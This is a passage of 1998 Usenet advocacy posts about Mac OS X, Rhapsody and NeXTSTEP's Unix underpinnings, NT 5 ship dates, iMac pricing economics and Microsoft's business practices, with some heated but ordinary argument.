> version of the System software. These may work better than the equivalnet
> in the MacOS but they put more demands on the user than say Updating
> Netscape and Virtual PC.
>
> > How often do you have to clear out the system folder? How often do you have
> > to debug an extension conflict? How often do you have to set memory sizes
> > for Apps?
>
> Once, during the setup of the machine
>
> > >I realise that changing file locations would require a major UNIX rewrite,
> > >but sweeping things under the carpet just seems sloppy to me.
> >
> > Not having PM and PMT, or having to manually set memory sizes in 1998 seems
> > sloppy to me.
>
> Agreed
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: OWSCR@hotmail.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: Tue, 22 Sep 1998 12:52:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6u86ig$jjm$1@nnrp1.dejanews.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com> <6u5827$c13$1@schbbs.mot.com> <6u5j92$r65$1@nnrp1.dejanews.com>
Hmmm.
<Sarcasm>It's a wonder Apple haven't thought of the possibility of users
screwing up their systems using the UNIXey stuff on OS X.
What with them being in the computer biz for 25 odd years.</Sarcasm>
I think it just might be possible that they'll stick some sort of control
panel app on the front of it.
Like NeXtstep.
DYS?
OJH.
In article <6u5j92$r65$1@nnrp1.dejanews.com>,
spagiola@my-dejanews.com wrote:
> "Stephen Totten" <stephent@comm.mot.com> wrote:
> > My point kindof was though that, on '98 for example, all those DLL's and
> > autoexec.bat files still exist, and an inquisitive first time user might
> > wonder what all these are for. Touching any of these files can quite easily
> > cripple your machine. An inquisitive Mac newbie might also decide to see
> > what this 'UNIX expert' option is, and accidentally delete an essential
> > file.
> > This is of course possible with the MacOS as it is at the moment, but in a
> > traditional UNIX environment there is so much more to go wrong.
> > Maybe this isn't the case with OpenStep...?
>
> As you say, this is the case on all OSs. I don't know how Apple will ship OS
> X, but it would be a simple matter to ship it such that you need to be logged
> into the root account before you can delete or modify anything on which the
> system depends. So even if you do turn on Unix Expert and muck about, you
> still won't accidentally delete anything vital unless you specifically put
> yourself in a position of doing so.
>
> Stefano Pagiola
> ---
> My opinions alone
> Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
> Server user
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
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>
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From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 22 Sep 1998 13:33:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6u88v3$lsb$1@nnrp1.dejanews.com>
References: <6u6fpo$jq3@newsb.netnews.att.com> <jpolaski-2109982032190001@d150-184.ce.mediaone.net> <libra-2109982353010001@h24-65-33-83.rd.wave.shaw.ca>
libra@REMOVE_THIS.shaw.wave.ca (adam baker) wrote:
> Hey who cares if NT 5 is on time?
Well, Mmalcolm Crawford and Michael Peck do, since they have a bet riding on
it.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
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From: libra@REMOVE_THIS.shaw.wave.ca (adam baker)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Message-ID: <libra-2209981010200001@h24-65-33-83.rd.wave.shaw.ca>
References: <6u6fpo$jq3@newsb.netnews.att.com> <jpolaski-2109982032190001@d150-184.ce.mediaone.net> <libra-2109982353010001@h24-65-33-83.rd.wave.shaw.ca> <6u88v3$lsb$1@nnrp1.dejanews.com>
Organization: not much
Date: Tue, 22 Sep 1998 14:09:54 GMT
NNTP-Posting-Date: Tue, 22 Sep 1998 07:09:54 PDT
> > Hey who cares if NT 5 is on time?
>
> Well, Mmalcolm Crawford and Michael Peck do, since they have a bet riding on
> it.
Haha. Okay ;)
--adam
--
"The hardest thing in the world to understand is the income tax."
--Albert Einstein
Date: Tue, 22 Sep 1998 10:01:58 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-2209981001580001@wil82.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <joe.ragosta-1909981818460001@elk70.dol.net> <wi5N1.356$sB1.341400@newsfeed.slurp.net> <joe.ragosta-2009980706400001@elk88.dol.net> <1liN1.862$sB1.900909@newsfeed.slurp.net> <joe.ragosta-2109980759520001@wil52.dol.net> <O%MN1.69$n5.306490@newsfeed.slurp.net>
In article <O%MN1.69$n5.306490@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
> Joe Ragosta wrote in message ...
>
> >Just admit it and move on.
>
> Admit what?
>
> Now I remember what dick you are...
>
> Don't play word games with me Joe. You start arguing about "Macintosh
> Platform" vs. "Macintosh Compatibles" and the whole argument is screwed up.
> You know what I meant... don't play childish games.
The problem is that I _don't_ know what you meant because you've
flip-flopped your position so many times.
Basically, you started out by saying Apple was a monopoly because they had
a monopoly on the Macintosh. I pointed out that the Macintosh is a trade
name and your statement boiled down to saying IBM has a monopoly on
ThinkPads and so on.
You then launched into a number of posts, calling me stupid, and other
foolish actions because you couldn't tell the difference between Macintosh
computers and Macintosh clones.
If you want people to understand you, please write with precision.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: 22 Sep 1998 14:50:25 GMT
Organization: AOL http://www.aol.com
References: <6u7q79$f1j$1@schbbs.mot.com>
Message-ID: <19980922105025.01295.00000008@ng79.aol.com>
Steve said:
In my original post I was referring to MacOS X, not MacOS X Server. I don't
know how Apple are going to manager user accounts with this, but it was my
impresion that it was going to be primarily a single user OS. If this is the
case then everyone would be logged in as root. I don't have any facts about
this either :-), so if you know that OS X (not server) is going to be
multi-user, than your point is very valid...
- Steve
How can one keep an OS with Unix underpinnings from being inherently
multi-user?
To add to what others have said, the current default under NeXT/OPENstep is
that if the default (me?) user account doesn't have a password, it's
automatically logged into at boot time, with various contortions being
necessary to access the root account. Safe, simple, elegant, and proof against
all but the most obstinate of fools.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Message-ID: <3607C5DE.715B7989@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
References: <6u6fpo$jq3@newsb.netnews.att.com> <jpolaski-2109982032190001@d150-184.ce.mediaone.net> <libra-2109982353010001@h24-65-33-83.rd.wave.shaw.ca> <6u88v3$lsb$1@nnrp1.dejanews.com>
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NNTP-Posting-Date: Tue, 22 Sep 1998 11:45:53 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 22 Sep 1998 10:44:30 -0500
spagiola@my-dejanews.com wrote:
>
> libra@REMOVE_THIS.shaw.wave.ca (adam baker) wrote:
> > Hey who cares if NT 5 is on time?
>
> Well, Mmalcolm Crawford and Michael Peck do, since they have a bet riding on
> it.
That's not really true; our wager concerns shipment of Rhapsody more
than shipment of Windows NT 5.0. Personally, I'd love to see both
Rhapsody and Windows NT ship as soon as possible; I think it's rather
silly to feel otherwise, but that's just my opinion.
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 22 Sep 1998 16:16:34 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6u8ih2$mf@news1.panix.com>
References: <6u6fpo$jq3@newsb.netnews.att.com> <jpolaski-2109982033530001@d150-184.ce.mediaone.net> <36070f78.1005082@nntp.service.ohio-state.edu>
On Tue, 22 Sep 1998 02:47:35 GMT, Steve <nospam@nospam!.kom> wrote:
>That was simply a rhetorical comment because there is no such thing as
>NT 4.5.
I think it was a comment that he did not want to see a scaled back NT5,
missing things that they have been waiting years for. Like ZAK and ADS
and improved DCOM. All of which have been in NeXTStep since the 2.0
version.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: 22 Sep 1998 16:16:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6u8ih5$mf@news1.panix.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <6u4b54$ikv@news1.panix.com> <id_est-2109981257430001@192.168.1.3>
On Mon, 21 Sep 1998 12:57:32 -0400, tse_di <id_est@interport.net> wrote:
>I too am a little worried about adding in Unix directory structures to a
>'consumer' OS.
You don't see them if you are not in expert mode.
>> There are tons of stuff that is hidden in MacOS as well. How much do you
>> have to know about code fragments to use MacOS? If something is hidden well,
>> then it isn't a problem.
>Hidden well is the issue. Things in the MacOS are very well hidden.
I can say the same about Rhapsody DR2.
> There
>is also a lot of freedom to move and rename things to suit your tastes
>without breaking much.
I can say the same about Rhapsody DR2. Anything that is visible while
you are not in expert mode, can be moved (.Apps can be moved, files in
/usr/bin can not)
> Special folders (System, Extensions, Control panels
>etc) take on special icons when they are are active and lose them when
>they are not.
Rhapsody DR2 handles these things a little bit differently, but I don't
think there will be much work to adjust.
>Files tend to have sensible names like 'Such-and-such app
>preferences'. It is a much simpler system than /etc, /usr/etc, /bin
>/usr/local/etc and more.
You don't have to see that stuff if you do not want to. Apps are found
in top level directories like /AdminApps or /LocalApps. You can move
them anywhere you want.
> The only character that is forbidden is ':'
This is a file system issue.
>The other thing is the better not add in the requirement of hard paths.
Unix needs them for at least the stuff in /etc and the various shell
scripts. You won't have to deal with this stuff if you don't want to.
>One of the great strengths of the MacOS is that you can move apps all over
>over the place, including different drives and network volumes and they
>all work fine.
Ditto.
>> How often do you have to clear out the system folder? How often do you have
>> to debug an extension conflict? How often do you have to set memory sizes
>> for Apps?
>Once, during the setup of the machine
Tell that to some of the Mac admins I know. They used to get called down to
edit mem setting every once and a while.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
Date: 22 Sep 1998 16:16:38 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6u8ih6$mf@news1.panix.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com> <6u5snv$3jd@news1.panix.com> <id_est-2109981349320001@192.168.1.3>
On Mon, 21 Sep 1998 13:49:31 -0400, tse_di <id_est@interport.net> wrote:
>A quick search of my hard drives yielded 142 out of around 11,000 files
>with a "/" in them.
Any reason why you can't use "-" ?
>FYI. I found none with "\" and 2 with "*" and 341 with "-"
Perhaps out of habit, but I tend to use "-" and "."
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: 22 Sep 1998 16:16:36 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6u8ih4$mf@news1.panix.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <36007F55.B489EF78@nstar.net> <6tsmiv$689@news1.panix.com> <36026BF9.CE1373CB@nstar.net> <6u3qk0$duv@news1.panix.com> <36072843.5A2347B9@nstar.net>
On Mon, 21 Sep 1998 23:32:03 -0500,
Michael Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>> Then you agree that the people who switched did think that a PC can
>> replace a Mac? If not, why did they switch?
>Yes, obviously.
That was my point, that Apple hardware can be replaced by PC hardware
and that Apple doesn't have a monoploy anymore than Dell or Gateway.
>> Now the question is "what is more reliable, anecdotal evidence from a
>> few users whose objectivity is clearly questionable, or facts gathered
>> from independent new sources like CNET and TechWeb?"
>You've completely lost me.
If Joe (or someone else) who has demonstrated a strong Mac bias, claims
that nothing can replace a Mac; is his opinion more credible than the
actions of the marketplace?
>By the way, somewhere in here are supposed to be several paragraphs
>which you appear to have cut. I think I asked you a question regarding
>your argument. What happened to them? I don't see any '[cut]' marks.
I didn't see any need to respond to them.
>You're stretching a long way to transform random unethical business
>practices into "undermining your rights". Very strange logic involved,
>there.
You're stretching a long way to transform random unethical business
practices into the ethical rights of a company.
>> By expecting MS to play by the same rules as everyone else? By expecting
>> them not to lie?
>I didn't know that lying was illegal.
So you think it is legal to knowingly deceive business partners?
> Nor was I aware that any companies
>were under investigation for lying. As far as I know, the "rules" don't
>have much to do with lying.
They are under investigation for abuse of monopoly position. The fact that
they feel that they can lie, and get away with it, is clear indication that
they do have that abilty.
>> By expecting them to allow their partners to make their
>> own decisions on what products they sell?
>Which company doesn't have the right to make its own choices regarding
>which products it sells?
Acer was told not to ship Lotus products with their machines. Others were
told not to remove IE or install NetScape
>> Unless you believe that "might makes right" and if you have enough money
>> you should not be expected behave ethically.
>You can expect companies to behave ethically all you like, and you can
>choose to ignore or boycott companies that do not meet your expectation.
I also have to right to appeal to my elected representatives to act on my
behalf.
>When you begin to talk about federal action or legislation -- as you put
>it, changing the rules for one company --
Not one company, any company in that position.
>that's where your rhetoric
>going to run into problems with me. I won't bother to respond to the
>former type of drivel, but the latter puts you on par with some of the
>most sinister demagogues known to American society.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Like Theodore Roosevelt and James Madison? Both believed that no one
should weld unchecked power.
>cover so much fundamental ground with you. I've spoken to many converts
>from Libertarianism, and you don't sound like any of them. On the
>contrary, you sound like someone who hasn't thought things through very
>carefully at all.
LOL. This is the typical drivel you post. Obviously anyone who doesn't
agree with you is uninformed. Should I repost that comment you made that
you have no control on what actions your congressman makes?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
Date: 22 Sep 1998 16:16:39 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6u8ih7$mf@news1.panix.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com> <36066CCC.1C2FC4DC@trilithon.com> <6u84l0$i1c$1@nnrp1.dejanews.com>
On Tue, 22 Sep 1998 12:19:45 GMT,
OWSCR@hotmail.com <OWSCR@hotmail.com> wrote:
>I have a couple of X-Apps I would like to able to run.
>Namely Lyx(WP front end for TeX), a couple of spreadsheets and some
>programming languages.
There used to be a TeX frontend for NeXT, no one has had any word on what
has happened to it.
As far as spreadsheets, check out Mesa from P&L. It should be on the demo
disk and it is very good.
>I would also quite like to run the X version of EMACS.
Check out Emacs.App
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 22 Sep 1998 16:16:35 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6u8ih3$mf@news1.panix.com>
References: <6tsmiu$689@news1.panix.com> <edewEzHuJp.B90@netcom.com> <6u3qjp$duv@news1.panix.com> <edewEznCxB.G37@netcom.com>
On Mon, 21 Sep 1998 18:34:22 GMT, Eric Dew <edew@netcom.com> wrote:
>>The $1299 market is smaller than the $999 market.
>But there's no evidence of that, since all $1299 iMacs are being sold.
Techweb, CNET and Ziff Davis all have reported that the fastest area
of growth has been in sub 1k machines.
> Until
>you have some machines gathering dust, you have no evidence of the fact that
>a $1299 iMac market is smaller than a $999 iMac market.
There is also no evidence that the $1299 market isn't smaller than the $999
market. But there is ample precedent for price drops increasing demand.
> Yes, it sounds
>paradoxical, but many companies have realized that lowering prices do not
>equate with increased demand, and sometimes, lowering prices actually
>suppresses demand.
In some markets yes, but I have yet to see anything in the _consumer_ market
that didn't ship in larger numbers after a price drop.
>>The number of hours I can work per week is a fixed number, irregardless of
>>demand. The number of iMacs that can be built and sold is limited only by
>>demand and production capacity. In the same way I can hire new people to
>>bill hours, Apple can hire new companies to build iMacs.
>But additional people and additional capital costs are...costs.
OEM agreements do not incur high capital costs. An OEM has a factory, people
and the machines needed to build the product. You are simply letting the
OEM build iMacs rather than PCs. (Compaq, HP and Packard Bell all use OEMs
for consumer products.)
> You want
>Apple to make computers at $999. You claimed that costs are fixed, but by
>your reckoning, it won't be.
OEM agreements are different then Apple building factories.
> So, why decrease revenue (by dropping the
>revenue/unit by $300, which is, what, around 23% or so?), increase cost
>(by hiring more workers, putting in additional factories, etc.),
Companies that OEM have more production capacity than products to produce,
so they sell that surplus production capacity. They tend to work on very
slim margins, since they only produce products, they don't design or
market them.
Apple would agree to buy X iMacs from the OEM at $Z per unit. Apple can
then resell them at $M dollars.
> and have no
>solid evidence that the yield is larger market share?
There is ample precedent.
>Let's do a simple decision analysis here. Decision: drop prices to $999,
>increase production so that gross revenue is constant (i.e., produce more,
>hoping that all will be bought so that revenue will match current rate of
>units sold X $1299 price tag).
You have it backwards. First increase production by signing OEM agreements,
then after increased production works to lower overall cost per unit drop
prices.
>Uncertainties: people will buy $999 machines at just as fervently as they
>buy the $1299 machines currently.
Again, there is ample precedent that price drops increase demand.
>Certainties: lower revenue/unit,
True; but, selling 50% more units at $999 would generate greater overall
revenues.
>additional fixed and per-unit cost (due
>to more workers)
Not true. Are you familiar with "the economies of scale"? The more of an
item you build, the lower the per unit costs.
>plus intangibles for maintaining price line.
Huh?
>Future prospects: Current revenues minus costs for doing nothing different
>from now, or increase/decrease in revenue minus (likely increase in) cost plus
>intangible of possibly increasing market size minus intangible of possible
>decreasing market size
I don't follow this logic. The demand for $1299 iMacs will drop over time, and
quickly, as the competition works to provide products marketed the same way.
Should Apple lead market changes, or react to them?
> (who knows how the market will react to a drop in
>price?).
If the iMac is anything like every other consumer product, the market will
buy more of them.
>>I have yet to see a company that did not use historical data to predict future
>>performance.
>A management consultant acquaintance tells me that looking at historical data
>to predict the future is like steering a car in a curvy road by looking at the
>rear view mirror.
That's just one of those things they say.
> The proper way to decide is based on good decision analytic
>practice.
And where do you get your data for those analytics? Do you pull them out of
thin air, or do you go back and look at systems that worked in the past?
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: a prediction
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<libra-2109982353010001@h24-65-33-83.rd.wave.shaw.ca> <6u88v3$lsb$1@nnrp1.dejanews.com>
<3607C5DE.715B7989@nstar.net>
Mime-Version: 1.0
Date: Tue, 22 Sep 1998 16:20:13 GMT
In <3607C5DE.715B7989@nstar.net> Michael Peck wrote:
> spagiola@my-dejanews.com wrote:
> That's not really true; our wager concerns shipment of Rhapsody more
> than shipment of Windows NT 5.0. Personally, I'd love to see both
> Rhapsody and Windows NT ship as soon as possible; I think it's rather
> silly to feel otherwise, but that's just my opinion.
I note you now feel free to use the term "Rhapsody" to describe Apple's OS
efforts, while only a week ago you were playing the "what do you mean by
"Rhapsody"" game on me. To save you the trouble in the future, it's obvious
we both agree on what the term refers to.
Maury
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: UIs Re: 48-bit pixels in MacOS 8.5?
Date: 22 Sep 1998 16:18:37 GMT
Organization: Net Squared, Inc.
Message-ID: <01bde643$f4bce7a0$06387880@chewy>
References: <01bde1aa$5fc3f690$06387880@chewy> <forrestDELETE-THIS!-1609981340590001@term2-29.vta.west.net> <6u2uc9$f7l$1@wbnws01.ne.highway1.com> <3604F00A.2CC4@earthlink.net> <forrestDELETE-THIS!-2009981418080001@term1-25.vta.west.net> <6u7dle$kak$1@wbnws01.ne.highway1.com> <3607470D.F7C8C930@nstar.net> <6u85gm$kb1$1@wbnws01.ne.highway1.com>
A follow up article can be found at
http://www.maccentral.com/news/9809/22.peek.shtml
Two quotes from the article are provided below:
"One major area of confusion and misinformation concerns whether or not
Mac OS 8.5 (Allegro), due Oct. 9, supports 48 x 48 pixels or just the
current 32 x 32 size. The confusion here lies in the fact that 48 x 48
icons ARE supported in Mac OS 8.5, but only in Icon Services, not the
Finder, Hockenberry says. A software developer can use a 48-pixel icon
in a new application. A user working with the Finder can only use a
32-pixel icon.
"NeXT [Steve Jobs' other computer company that Apple purchased last
year] used 48 x 48 icons (tiny TIFF files). Rhapsody used 48 x 48
icons. Mac OS X will use 48 x 48 icons. Mac OS 8.5 can sort of use
them. Apple's calling them 'huge' icons."
Todd
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Worried about MacOS X
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References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com>
<6u5827$c13$1@schbbs.mot.com> <3606F3F8.D2B36795@trilithon.com>
Mime-Version: 1.0
Date: Tue, 22 Sep 1998 16:34:41 GMT
In <3606F3F8.D2B36795@trilithon.com> Henry McGilton wrote:
Hey Henry, I was wondering where you've been!
> Well, there you have it. The more traditional *NIXen have made
> very little advance in capability or in user friendliness in the
> past fifteen years.
Indeed. It's odd to think that since the two "labs" closed (BSD and
AT&T's) there has basically been no advancment in the state of Unix. There's
been some minor changes to things like library management (dyld etc.) and
file systems, but really, that's about it. Solaris has a few cool ideas
(interrupts as threads is neat-o) and Mach had it's things to share, but in
general we're still runnning the same basic systems as circa 1989.
It seems no one has the guts to make any REAL changes to Unix. GNU want's
too, and I think the whole concept of the HURD is _really_ cool. However the
progress of the HURD is basically at a snails pace, and the current builds
can hardly be considered useful.
> Solaris versus BSD as an example. NextStep was a huge effort to
> place a user-friendly layer on top of Mach/BSD. It's not perfect
> by any means, but it sure beats any other *NIX out there.
Yup. What OpenStep does on the user end, I think the HURD does to the
system end.
> And as for "ease of use", try setting up TCP/IP and PPP connections
> on a Mac sometime. I tried it a few weeks back and was soon
> screaming and begging to get back to my "easier to use" NT box.
Indeed. I've been whining to people that count at Apple for FOUR YEARS
about the interface to OT's TCP setup, and STILL it's the same horrid system.
For instance, how many people even _know_ about the Configuration's menu
item? The interface hides the important things, presents the things that
rarely change, offers no way to link the ever-growing number of control
panels together, and has built in limitations like only supporting one modem
(it's not at all odd to have ISDN in one port and a modem in the other - I
had that for instance).
On the other hand I never even got PPP to work under OpenStep.
> Well, an inquisitive Mac newbie might wonder what all that glop
> inside the System Folder is. And it's not even hidden from view
> by default. And how many inquisitive Mac newbies have ever tried
> to eject their system disk --- a fabulous way to wedge your Mac.
No it's not, it simply tells you you're not allowed to do that. Seems
perfectly reasonable to me.
> And somebody else [Sal maybe?] made the excellent point that most
> if not all of the system files and folders of the Rhapsody system
> are writable only by root or one of the other special accounts, so
> the average inquisitive Mac newbie can't get there unless they are
> logged in as root.
More specifically the things you can safely touch you can get to, the
dangerous things you can't. This is a much better generalization than under
MacOS.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Worried about MacOS X
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Cc: stephent@comm.mot.com
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References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com>
<6u5827$c13$1@schbbs.mot.com> <3606F3F8.D2B36795@trilithon.com>
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Date: Tue, 22 Sep 1998 16:36:30 GMT
In <6u7q79$f1j$1@schbbs.mot.com> "Stephen Totten" wrote:
> In my original post I was referring to MacOS X, not MacOS X Server. I don't
> know how Apple are going to manager user accounts with this, but it was my
> impresion that it was going to be primarily a single user OS. If this is
the
> case then everyone would be logged in as root. I don't have any facts about
> this either :-), so if you know that OS X (not server) is going to be
> multi-user, than your point is very valid...
I can't say I know one way or the other for sure, but I'm willing to say
with some force that the login system will almost certainly be exactly like
it is for MacOS Server.
Maury
Date: Tue, 22 Sep 1998 12:38:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Message-ID: <joe.ragosta-2209981238080001@wil31.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <36007F55.B489EF78@nstar.net> <6tsmiv$689@news1.panix.com> <36026BF9.CE1373CB@nstar.net> <6u3qk0$duv@news1.panix.com> <36072843.5A2347B9@nstar.net> <6u8ih4$mf@news1.panix.com>
In article <6u8ih4$mf@news1.panix.com>, sal@panix.com wrote:
> On Mon, 21 Sep 1998 23:32:03 -0500,
> Michael Peck <mjpeck@nstar.net> wrote:
> >Sal Denaro wrote:
> >> Then you agree that the people who switched did think that a PC can
> >> replace a Mac? If not, why did they switch?
> >Yes, obviously.
>
> That was my point, that Apple hardware can be replaced by PC hardware
> and that Apple doesn't have a monoploy anymore than Dell or Gateway.
>
> >> Now the question is "what is more reliable, anecdotal evidence from a
> >> few users whose objectivity is clearly questionable, or facts gathered
> >> from independent new sources like CNET and TechWeb?"
> >You've completely lost me.
>
> If Joe (or someone else) who has demonstrated a strong Mac bias, claims
> that nothing can replace a Mac; is his opinion more credible than the
> actions of the marketplace?
I never made that claim. In fact, I specifically stated that a PC is
competing with Macs for my business.
From: jpolaski@wwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 22 Sep 1998 11:48:48 -0600
Organization: Polaski P/D/C
Message-ID: <jpolaski-2209981148490001@poolf5-040.wwa.com>
References: <6u6fpo$jq3@newsb.netnews.att.com> <jpolaski-2109982033530001@d150-184.ce.mediaone.net> <36070f78.1005082@nntp.service.ohio-state.edu>
In article <36070f78.1005082@nntp.service.ohio-state.edu>,
nospam@nospam!.kom (Steve) wrote:
> On Mon, 21 Sep 1998 20:33:53 -0600, jpolaski@NO.wwa.com (Jim Polaski)
> wrote:
>
> >In article <6u6fpo$jq3@newsb.netnews.att.com>,
> >gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> >
> >> ZDNet reports that Microsoft may deliver NT 5.0 beta 3 by
> >> Thanksgiving and NT 5.0 final delivery 12-15 weeks after
> >> that -- Q1-Q2 1999. This flies in the face of analysts'
> >> predictions of late 1999 to year 2000 delivery.
> >>
> >>
http://www.zdnet.com/zdnn/stories/zdnn_smgraph_display/0,4436,2139533,00.html
> >>
> >> -arun gupta
> >=======
> >
> >OOps..forgot that in todays INfoworld, there was a comment by an IS type
> >saying he didn't want NT 4.5 either as all that did was raise costs since
> >he then had to do another installation/migration etc...instead he'd rather
> >just wait, ....patiently.
> >
>
> That was simply a rhetorical comment because there is no such thing as
> NT 4.5.
>
======
Still doesn' t matter though. He WAS saying that IF it did, he would not
want it due to the cost of implimentation, TWICE, having to do it all over
when 5 arrives.
How is that so hard to understand?
--
jpolaski@NOwwa.com
Polaski P/D/C
15 W. Hubbard, 4th FL., Chicago, IL 60610
REMOVE the "NO" to reply!
...a traveler on the information super-cyber highway, occasionally stopping to g
Message-ID: <3607D74D.B51BC700@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com> <36066CCC.1C2FC4DC@trilithon.com> <36072146.95A4CFE@nstar.net>
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Date: Tue, 22 Sep 1998 09:58:53 -0700
NNTP-Posting-Date: Tue, 22 Sep 1998 12:55:56 EDT
Michael Peck wrote:
* Henry McGilton wrote:
* * Come on now, . . . Henry's rant about X-Windows
* * deleted by Henry . . .
* Henry, I know you don't put much store by remotability,
Hmmm. I suppose that I do not see remotability as a Big Deal. That
is because I live out in a world where I do not see the average
person --- including myself --- as anybody requiring the
capabilities of remote hosting. But I can see from your current
and previous explanations why the requirement is useful to
administrators.
Back in the Bad Old Days of NextStep, there were several
commercially available X-Windows systems for NextStep. And somebody
just pointed out that there is already an X-Windows for Rhapsody.
My thinking is that people who need X-Windows are probably capable
enough to obtain it for themselves. If there is a big enough
demand, the potential may even exist for a third-party business.
Macintosh used to have at least two X servers available --- MacX
